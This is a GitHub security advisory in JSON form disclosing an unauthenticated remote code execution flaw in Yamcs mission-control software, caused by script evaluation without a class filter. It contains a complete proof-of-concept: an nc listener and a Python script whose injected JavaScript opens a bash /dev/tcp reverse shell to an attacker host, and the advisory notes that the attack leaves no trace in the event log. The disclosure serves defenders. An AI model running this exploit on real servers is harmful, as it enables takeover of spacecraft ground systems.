{"id":"GHSA-vmwp-vh32-rj75","summary":"Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override","details":"# Remote Code Execution via Mission Database algorithm override\n\n## Summary\n\nThe Nashorn `ScriptEngine` used to evaluate user-supplied algorithm text in `MdbOverrideApi.updateAlgorithm` is constructed without a `ClassFilter`, allowing a user with the `ChangeMissionDatabase` privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no `security.yaml`), the built-in `guest` user has `superuser=true`, so the vulnerability is reachable without authentication.\n\n## Details\n\n**Vulnerable file**: `yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java`\n\n```java\n// L46-53  Nashorn engine obtained without a ClassFilter\nScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()\n        .filter(candidate -\u003e !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())\n                && candidate.getNames().contains(language))\n        .findFirst().orElse(null);\nif (factory != null) {\n    scriptEngine = factory.getScriptEngine();          // ← ClassFilter not supplied\n}\n\n// L109  user-supplied algorithm text reaches eval()\nscriptEngine.eval(functionScript);\n```\n\n`NashornScriptEngineFactory.getScriptEngine()` accepts an optional `ClassFilter` that restricts which classes JavaScript can reach via `Java.type(...)`. Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, `Java.type(\"java.lang.Runtime\").getRuntime().exec(...)` runs arbitrary OS commands inside the Yamcs JVM.\n\nThe path from HTTP request to `eval` is:\n`MdbOverrideApi.updateAlgorithm` (`yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189`)\n→ `AlgorithmManager.overrideAlgorithm` (`yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559`)\n→ `ScriptAlgorithmExecutorFactory.makeExecutor` (`yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117`)\n→ `scriptEngine.eval(...)`.\n\n## PoC\n\nRun against any reachable Yamcs deployment that has at least one JavaScript `CustomAlgorithm` in its MDB (the `simulator` example MDB includes several, such as `/YSS/SIMULATOR/Battery_Voltage_Avg`).\n\nAttacker-side listener:\n```\nnc -lvnp 4444\n```\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nUsage: python3 \u003cpoc\u003e.py http://target:8090 LHOST LPORT\n\"\"\"\nimport json, sys, time, urllib.request\n\nTARGET    = sys.argv[1].rstrip(\"/\")\nLHOST     = sys.argv[2]\nLPORT     = int(sys.argv[3])\nINSTANCE  = \"simulator\"\nPROCESSOR = \"realtime\"\nALGORITHM = \"YSS/SIMULATOR/Battery_Voltage_Avg\"\n\n# Close the generated wrapper function with `}`, execute the payload at\n# top level, then re-open a dummy function so the trailing `}` emitted\n# by ScriptAlgorithmExecutorFactory parses. No throw -\u003e no event fired.\npayload = (\n    '} '\n    'Java.type(\"java.lang.Runtime\").getRuntime().exec('\n    f'[\"bash\",\"-c\",\"exec 3\u003c\u003e/dev/tcp/{LHOST}/{LPORT}; id \u003e&3; sh -i \u003c&3 \u003e&3 2\u003e&3\"]); '\n    'function _x(){'\n)\n\npatch = f\"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}\"\n\ndef http(method, url, body=None):\n    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,\n                                  method=method, headers={\"Content-Type\": \"application/json\"})\n    return urllib.request.urlopen(req, timeout=10).read()\n\nhttp(\"PATCH\", patch, {\"action\": \"SET\", \"algorithm\": {\"text\": payload}})\ntime.sleep(2)\nhttp(\"PATCH\", patch, {\"action\": \"RESET\"})\n```\n\n\u003cimg width=\"1841\" height=\"881\" alt=\"nashorn-rce-poc\" src=\"https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671\" /\u003e\u003cbr\u003e\n\nThe override path emits events only when evaluation fails: a `WARNING` from `ScriptAlgorithmExecutorFactory.java:112` and a `CRITICAL` from `AlgorithmManager.java:546`. Any syntactically valid payload — like the one above — succeeds silently and **no event is fired**, so the attack leaves no trace in the Yamcs event stream.\n\n## Impact\nArbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.\n\nFor a Yamcs deployment managing spacecraft operations, an attacker can:\n- forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission;\n- read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);\n- pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);\n- install a persistent backdoor via the same primitive.\n\nWho is impacted:\n- **All Yamcs deployments running in the default configuration** (no `security.yaml` present): any unauthenticated network attacker that can reach the HTTP API port (default `8090`).\n- **Yamcs deployments with security enabled**: any user that has been granted the `ChangeMissionDatabase` system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.\n\n## Affected Versions\n\nAll Yamcs releases that ship the algorithm override endpoint are affected — no `ClassFilter` has ever been applied to the script engine.\n\n- **First vulnerable release**: `yamcs-4.7.3` (2018-11-22). Introduced in commit `951e505d18a3912813b59edc685cbcbd4c609906` (\"added possibility to change in a running processor alarms, calibrations and algorithms texts\"). The commit added the `ChangeAlgorithmRequest` RPC (later renamed `UpdateAlgorithmRequest`) and routed it as `PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}`.\n- **Routing change at `yamcs-5.5.0`** (2021-04): the endpoint was split out of `MdbApi` into `MdbOverrideApi` and moved to `PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}`. The underlying `scriptEngine.eval(...)` sink and the missing `ClassFilter` are identical.\n- **Latest release**: `yamcs-5.12.6` (commit `f1a26fe54587fab9960d7e53fc1bf0c879220e9e`) is affected. These four files (`MdbOverrideApi.java`, `AlgorithmManager.java`, `ScriptAlgorithmExecutorFactory.java`, `SecurityStore.java`) are unchanged between `5.12.6` and current `master` (`96d3e2d474415bea859f40ecbddc1bb8a0d141c1`) — no upstream fix exists.\n\nIn short: **every Yamcs release from `4.7.3` through `5.12.6`, plus current `master`, is vulnerable** (133 release tags spanning 2018-11-22 to present).","aliases":["CVE-2026-46562"],"modified":"2026-05-27T23:11:26.022781Z","published":"2026-05-27T22:45:49Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-05-27T22:45:49Z","nvd_published_at":null,"cwe_ids":["CWE-470","CWE-94","CWE-95"]},"references":[{"type":"WEB","url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-vmwp-vh32-rj75"},{"type":"PACKAGE","url":"https://github.com/yamcs/yamcs"}],"affected":[{"package":{"name":"org.yamcs:yamcs-core","ecosystem":"Maven","purl":"pkg:maven/org.yamcs/yamcs-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.12.7"}]}],"versions":["0.29.3","0.30.0","3.0.0","3.1.0","3.1.1","3.1.2","3.2.0","3.2.1","3.2.2","3.3.0","3.3.1","3.4.0","3.4.1","3.4.11","3.4.2","3.4.3","3.4.4","3.4.5","3.4.6","3.4.8","4.0.0","4.0.1","4.1.1","4.1.2","4.10.0","4.10.1","4.10.2","4.10.3","4.10.4","4.10.5","4.10.6","4.10.7","4.10.8","4.10.9","4.2.0","4.2.1","4.2.2","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.7","4.7.1","4.7.3","4.8.0","4.8.1","4.9.0","4.9.1","4.9.2","4.9.3","4.9.4","5.0.0","5.1.0","5.1.1","5.1.2","5.1.3","5.1.4","5.10.0","5.10.1","5.10.10","5.10.11","5.10.12","5.10.2","5.10.3","5.10.4","5.10.5","5.10.6","5.10.7","5.10.8","5.10.9","5.11.0","5.11.1","5.11.10","5.11.11","5.11.12","5.11.13","5.11.2","5.11.3","5.11.4","5.11.5","5.11.6","5.11.7","5.11.8","5.11.9","5.12.0","5.12.1","5.12.2","5.12.3","5.12.4","5.12.5","5.12.6","5.2.0","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.2.6","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.5.0","5.5.1","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.7","5.6.0","5.6.1","5.6.2","5.7.0","5.7.1","5.7.10","5.7.11","5.7.12","5.7.13","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.9","5.8.0","5.8.1","5.8.2","5.8.3","5.8.4","5.8.5","5.8.6","5.8.7","5.8.8","5.9.0","5.9.1","5.9.10","5.9.11","5.9.12","5.9.2","5.9.3","5.9.4","5.9.5","5.9.6","5.9.7","5.9.8","5.9.8.1","5.9.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vmwp-vh32-rj75/GHSA-vmwp-vh32-rj75.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}